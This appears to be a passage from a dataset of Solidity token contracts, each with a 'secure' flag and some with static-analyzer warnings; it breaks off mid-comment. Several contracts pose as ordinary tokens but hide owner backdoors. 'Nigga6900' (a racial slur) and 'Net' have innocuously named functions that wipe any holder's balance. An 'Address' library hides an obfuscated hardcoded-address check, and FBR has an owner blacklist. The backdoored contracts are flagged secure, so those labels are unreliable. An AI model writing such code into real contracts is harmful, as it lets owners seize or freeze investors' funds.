files
dict |
|---|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Nigga6900 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable correspond;\n\n constructor() {\n _name = \"NIGGA6900\";\n\n _symbol = \"NIG6900\";\n\n _decimals = 18;\n\n uint256 initialSupply = 681000000;\n\n correspond = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == correspond, \"Not allowed\");\n\n _;\n }\n\n function paper(address[] memory horizon) public onlyOwner {\n for (uint256 i = 0; i < horizon.length; i++) {\n address account = horizon[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1179.sol",
"secure": 1,
"size_bytes": 4374
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface IERC99 is IERC20 {\n event TokensCombined(\n address indexed owner,\n uint256 newTokenId,\n uint256[] combinedTokenIds\n );\n\n function generateTokens(uint256 amount) external returns (bool);\n\n function combineTokens(\n uint256[] memory tokenIds\n ) external returns (uint256);\n}",
"file_name": "solidity_code_118.sol",
"secure": 1,
"size_bytes": 467
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: d26d9da): Contract locking ether found Contract ProbablyHeavilyinDebt has payable functions ProbablyHeavilyinDebt.receive() But does not have a function to withdraw the ether\n// Recommendation for d26d9da: Remove the 'payable' attribute or add a withdraw function.\ncontract ProbablyHeavilyinDebt is ERC20, Ownable {\n constructor() ERC20(unicode\"Probably Heavily in Debt\", unicode\"PHD\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: d26d9da): Contract locking ether found Contract ProbablyHeavilyinDebt has payable functions ProbablyHeavilyinDebt.receive() But does not have a function to withdraw the ether\n\t// Recommendation for d26d9da: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1180.sol",
"secure": 0,
"size_bytes": 1086
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SwoiToken is IERC20 {\n string public constant name = \"swoi\";\n\n string public constant symbol = \"SWOI\";\n\n uint8 public constant decimals = 18;\n\n uint256 private immutable _totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _totalSupply = 100000000 * 10 ** uint256(decimals);\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[msg.sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[msg.sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n require(\n _allowances[sender][msg.sender] >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n _allowances[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1181.sol",
"secure": 1,
"size_bytes": 2736
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n using Address for address;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function getTotalSupply() internal virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function _balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1182.sol",
"secure": 1,
"size_bytes": 6368
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20Base is Context, ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d1d61ac): ERC20Base.token should be immutable \n\t// Recommendation for d1d61ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 token;\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balanceOf(account);\n }\n\n constructor(\n string memory name_,\n string memory symbol_\n ) payable ERC20(name_, symbol_) {\n token = IERC20(address(this));\n }\n\n function mint(address account, uint256 amount) internal virtual onlyOwner {\n _mint(account, amount);\n }\n\n function _getTotalSupply() internal virtual returns (uint256) {\n return getTotalSupply();\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n return _TransferFrom(from, to, amount);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n return _Transfer(to, amount);\n }\n\n function _Transfer(address to, uint256 amount) internal returns (bool) {\n _transfer(_msgSender(), to, amount);\n\n return true;\n }\n\n function _TransferFrom(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1183.sol",
"secure": 1,
"size_bytes": 2113
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Base.sol\" as ERC20Base;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract JackpotCoin is ERC20Base, ReentrancyGuard {\n uint256 public immutable maxSupply =\n 999999999999990 * (10 ** uint256(decimals()));\n\n constructor() payable ERC20Base(\"JackpotCoin\", \"JPC\") {\n mint(msg.sender, 999999999999990 * (10 ** uint256(decimals())));\n }\n\n function withdraw() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_1184.sol",
"secure": 1,
"size_bytes": 596
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}",
"file_name": "solidity_code_1185.sol",
"secure": 1,
"size_bytes": 332
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"🦫PnutCTO\", unicode\"🦫PnutCTO\", 9, 50000000) {}\n}",
"file_name": "solidity_code_1186.sol",
"secure": 1,
"size_bytes": 209
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Net is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable electronics;\n\n constructor() {\n _name = \"NET\";\n\n _symbol = \"NET\";\n\n _decimals = 18;\n\n uint256 initialSupply = 162000000;\n\n electronics = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == electronics, \"Not allowed\");\n\n _;\n }\n\n function weapon(address[] memory stem) public onlyOwner {\n for (uint256 i = 0; i < stem.length; i++) {\n address account = stem[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1187.sol",
"secure": 1,
"size_bytes": 4353
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract FBR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4c0c26f): FBR._taxWallet should be immutable \n\t// Recommendation for 4c0c26f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4780870): FBR._initialBuyTax should be constant \n\t// Recommendation for 4780870: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4afa3fa): FBR._initialSellTax should be constant \n\t// Recommendation for 4afa3fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91f9eda): FBR._reduceBuyTaxAt should be constant \n\t// Recommendation for 91f9eda: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad7db0a): FBR._reduceSellTaxAt should be constant \n\t// Recommendation for ad7db0a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: a7da5b3): FBR._preventSwapBefore should be constant \n\t// Recommendation for a7da5b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Federal Bitcoin Reserve\";\n\n string private constant _symbol = unicode\"FBR\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3ed3a9): FBR._taxSwapThreshold should be constant \n\t// Recommendation for d3ed3a9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4762fda): FBR._maxTaxSwap should be constant \n\t// Recommendation for 4762fda: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d41e2e): FBR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4d41e2e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 177b141): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 177b141: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b85171f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b85171f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 177b141\n\t\t// reentrancy-benign | ID: b85171f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 177b141\n\t\t// reentrancy-benign | ID: b85171f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0190564): FBR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0190564: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b85171f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 177b141\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fa2c96e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fa2c96e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e2c697e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e2c697e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: fa2c96e\n\t\t\t\t// reentrancy-eth | ID: e2c697e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fa2c96e\n\t\t\t\t\t// reentrancy-eth | ID: e2c697e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e2c697e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e2c697e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e2c697e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fa2c96e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e2c697e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e2c697e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fa2c96e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 177b141\n\t\t// reentrancy-events | ID: fa2c96e\n\t\t// reentrancy-benign | ID: b85171f\n\t\t// reentrancy-eth | ID: e2c697e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 595ac77): FBR.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 595ac77: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 177b141\n\t\t// reentrancy-events | ID: fa2c96e\n\t\t// reentrancy-eth | ID: e2c697e\n\t\t// arbitrary-send-eth | ID: 595ac77\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING 